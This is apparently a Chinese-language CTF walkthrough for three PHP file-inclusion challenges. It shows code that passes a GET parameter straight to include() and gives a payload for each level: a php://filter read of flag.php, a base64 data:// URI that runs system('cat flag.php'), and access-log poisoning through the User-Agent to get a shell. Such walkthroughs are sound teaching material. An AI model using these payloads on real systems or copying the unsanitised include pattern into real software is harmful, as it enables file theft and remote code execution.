目录
web78~php伪协议
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
直接payload
?file=php://filter/read=convert.base64-encode/resource=flag.php
web79~Data协议
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了 php ,所以不能用 php 开头的伪协议了。
可以使用 data协议
具体 可以看这里
payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
# PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs ===> <?php system('cat flag.php');
还是要base64编码
web80~包含日志文件
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了 php、data ,也就是 php 伪协议、data 协议。
可以包含日志文件getshell
payload:
包含日志文件 进行getshell
日志文件路径:?file=/var/log/nginx/access.log
抓包修改UA 进行日志包含
看到了fl0g.php
进行访问就可